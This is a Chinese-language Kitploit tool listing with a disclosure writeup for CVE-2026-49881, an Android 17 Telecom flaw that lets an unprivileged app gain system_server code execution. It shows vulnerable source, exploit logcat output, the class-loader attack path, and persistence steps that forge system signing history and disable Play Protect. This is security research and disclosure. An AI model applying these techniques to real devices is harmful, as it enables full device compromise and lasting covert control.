Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
TLPE — CVE-2026-49881,Android 17 的 Telecom 服务中 InCallController 类存在的一个逻辑问题,允许无特权应用以 UID 1000 system_server 身份获得任意代码执行权限。 | Kitploit
工具/GitHubGitHub/supersonic/tlpe
Android安全权限提升持久化机制漏洞分析漏洞利用移动安全二进制利用
GitHubsupersonic/tlpe

TLPE

CVE-2026-49881,Android 17 的 Telecom 服务中 InCallController 类存在的一个逻辑问题,允许无特权应用以 UID 1000 system_server 身份获得任意代码执行权限。

查看仓库
11111小时48分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

这是 CVE-2026-49881 的 PoC 和 writeup,该漏洞是 Android 17 Telecom 服务中 InCallController 类的一个逻辑问题,允许无特权的应用在无需额外用户交互的情况下,以 UID 1000 system_server 的身份获得任意代码执行能力。我们在此还展示了,即使在现代 Android 版本中,system_server 代码执行仍然可以轻松地用于获得持久化。

我于 2026-04-10 向 Android 安全团队报告了此漏洞,于 2026-05-06 被确认,并在 2026 年 9 月的 Android 安全公告中修复。(补丁见此处)

据我所知,在报告时,它仅主动影响 Android 16 QPR3 及之后的 Pixel 版本(以及 17 Beta 版本),但后来它进入了 Android 17 的 AOSP 稳定版。

为保护自己免受此问题的影响,请务必安装 Google Play 系统更新以及系统安全补丁。(自 Android 17 起,Telecom 是 mainline 组件)

TLPE

关于 PoC 的说明

  • 该 PoC 演示了利用该漏洞在 system_server 中获得代码执行能力,将 id 和堆栈跟踪记录到 logcat,并将自身重新安装为 system_server 组件。
  • 安装 PoC 后,点击“开始利用”按钮或通过 telecom 堆栈拨打电话将触发它。
  • 通过运行附带的 build.sh 编译 PoC。否则,您可以手动运行 ./gradlew assembleSystemRelease,将生成的 app-system-release.apk 移动到 app/src/poc/assets/system.apk,然后运行 ./gradlew assemblePocRelease。
  • 成功利用后,PoC 会将其自己的证书注册为 UID 1000 的祖先证书。此状态在 OTA(包括漏洞本身的补丁)后仍然存在。 要在 PoC 运行后清理设备,您应该按下 PoC 中的“卸载”按钮(它会清理注入的证书)——尽管如此,我强烈建议在测试期间使用您自己的发布密钥库来签署编译后的 PoC APK。(而不是 PoC 在 TLPE/app/teststore.jks 中默认使用的那个)
  • 请注意,进入 system_server 后的 PoC 还会强制关闭 Play Protect,方法是将 Settings.Global 中的 package_verifier_user_consent 设置为 -1,因为它有时会因未知签名而拦截重新安装事务。测试后,您应在“设置”中重新启用此功能。
  • 它已在 Pixel Android 和 AOSP 上验证过,但代码执行阶段应适用于 OEM 定制的 Android 17 版本。作为 system_server 的重新安装阶段可能需要针对每个 OEM 进行定制,因为它依赖于使用 OEM 有时会更改的符号来遍历 PMS 结构。

预期的 PoC logcat 输出为:

root@kitploit:~
04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Exploit successful!
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Current stack trace:
04-15 03:02:47.911  1558 12775 E TLPE    : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.934  1558 12785 E TLPE    : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935  1558 12785 E TLPE    : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957  1558 12785 E TLPE    : [+] Persistence successful, reinstalling...

Writeup

这是一个异常直接的漏洞。每当某些与 Telecom 相关的操作发生时,InCallController 会尝试通过 getInCallServiceComponents 发现可用的服务。当呼叫注册到系统时,这自然会被触发,但应用实际上也可以借助事务性呼叫 API TelecomManager.addCall 按需触发它。(注意:这就是 PoC 中“开始利用”按钮所使用的)此 API 需要 MANAGE_OWN_CALLS 权限,但这是一个普通的、用户不可见的权限,在安装时自动授予。

在易受攻击的版本中,此枚举的实现如下:

root@kitploit:~
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
        String packageName, ComponentName componentName,
        int requestedType, boolean ignoreDisabled) {
        ...
        List<ResolveInfo> entries;
        entries = userPackageManager.queryIntentServices(
                serviceIntent,
                PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
        for (ResolveInfo entry : entries) {
            ServiceInfo serviceInfo = entry.serviceInfo;

            if (serviceInfo != null) {
                boolean isMetaFlag = serviceInfo.metaData != null &&
                        serviceInfo.metaData.getBoolean(
                                "android.telecom.CLASS_EXISTENCE_CHECK", false);
                if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
                    continue;
                }
                ...
            }
        }
}

请注意,serviceClassExists 是针对任何声明了 InCallService intent 以及 android.telecom.CLASS_EXISTENCE_CHECK 元数据值的组件运行的,而不仅仅是有效/启用的 InCallService。(该检查在分支的更下方通过 getInCallServiceType 和 isServiceEnabled 实现)

serviceClassExists 的实现如下:

root@kitploit:~
/**
 * Verifies that the class for a given ServiceInfo exists within its package.
 * This prevents a system crash if a service is declared in the manifest but its
 * class was not included in the compiled code.
 * @param serviceInfo The ServiceInfo of the service to check.
 * @param userHandle The user under which to check for the service.
 * @return {@code true} if the class exists, {@code false} otherwise.
*/
private boolean serviceClassExists(ServiceInfo serviceInfo, UserHandle userHandle) {
    Log.i(this, "serviceClassExists check");
    try {
        Context packageContext = mContext.createPackageContextAsUser(
                serviceInfo.packageName,
                Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY, userHandle);
        ClassLoader classLoader = packageContext.getClassLoader();
        Class.forName(serviceInfo.name, false, classLoader);
        return true;
    } catch (NameNotFoundException | ClassNotFoundException e) {
        Log.w(this, "Skipping InCallService: class not found for " + serviceInfo.name);
        return false;
    } catch (Exception e) {
        Log.e(this, e, "Error checking for existence of " + serviceInfo.name);
        return false;
    }
}

使用 CONTEXT_IGNORE_SECURITY 的 createPackageContext 的危险性已有充分记录,在这种情况下,是 system_server 本身针对不受信任的组件运行它,仅仅是为了检查该类是否存在于该应用的 DEX 中。然而,乍一看,这似乎是安全的,因为获取的上下文在 Class.forName 中使用了 initialize=false——开发人员很可能意识到了这一风险,并指定了该参数以确保外部类不会在 system_server 中被初始化。

不幸的是,这种谨慎为时已晚——外部上下文上的 getClassLoader 已经造成了损害。如果攻击者应用在其清单中将 AppComponentFactory 定义为 android:appComponentFactory,则对应于使用 CONTEXT_INCLUDE_CODE 和 CONTEXT_IGNORE_SECURITY 创建的上下文的 LoadedApk 上的 getClassLoader 方法首先从磁盘检索外部应用的默认类加载器,然后在返回类加载器之前运行工厂的构造函数及其 instantiateClassLoader 方法。

由于此类可由攻击者应用控制,这立即导致在 Telecom 的上下文中执行任意代码。

利用后

为了展示成功的 system_server 代码执行的后果,PoC 演示了将自身重新安装为持久的 system_server 组件。(该技术改编自 Michał Bednarski 在 AbxOverflow / CVE-2024-34740 PoC 中发布的技术)

我们通过以下方式实现:

  • 一旦进入 system_server,通过动态反射直接进入 PackageManagerService.mSettings 来检索我们 PoC 应用的 Signature 对象。
  • 检索与 "android.uid.system" 对应的 SharedUserSetting,并将 PoC 的 Signature 以 CertCapabilities.SHARED_USER_ID 注入其 getSigningDetails().mPastSigningCertificates 两次。
  • 强制卸载 PoC 应用,并重新安装一个在清单中添加了 android:sharedUserId="android.uid.system" 和 android:process="system" 的变体。(这也会将上一步的易失性修改刷新到 packages.xml)

这使得 PackageSignatures 中的 canJoinSharedUserId() 因轮换历史匹配而通过,并产生持久的 system_server 权限。

结语

您可能会问的一个问题是,为什么这个漏洞会存在——特别是,为什么有一个受未记录的元数据标志保护的可选类存在性检查?

不可能确切地说,但这个谜团的可能答案可以在 AOSP 中进一步挖掘找到:类检查和元数据比较很可能都是为了考虑 android.net.ConnectivityCallListenerService 而添加的,该服务大约在同一时间正在实现。

该服务最初在框架清单中定义,但未在任何地方实现。(当它确实被添加时,它位于 Flags.FLAG_ENABLE_INCALL_SERVICE_API 功能标志之后)一旦在测试中观察到崩溃,很可能有人决定将修复实现为可重用的“纵深防御”检查,而不是硬编码的异常——该服务的清单定义说明它定义了 "android.telecom.CLASS_EXISTENCE_CHECK" 以“指示此服务的类可能并非存在于所有版本中”并“指示 Telecom 在尝试绑定前验证类是否存在”。(这就是我们现在在这里的原因)

下载工具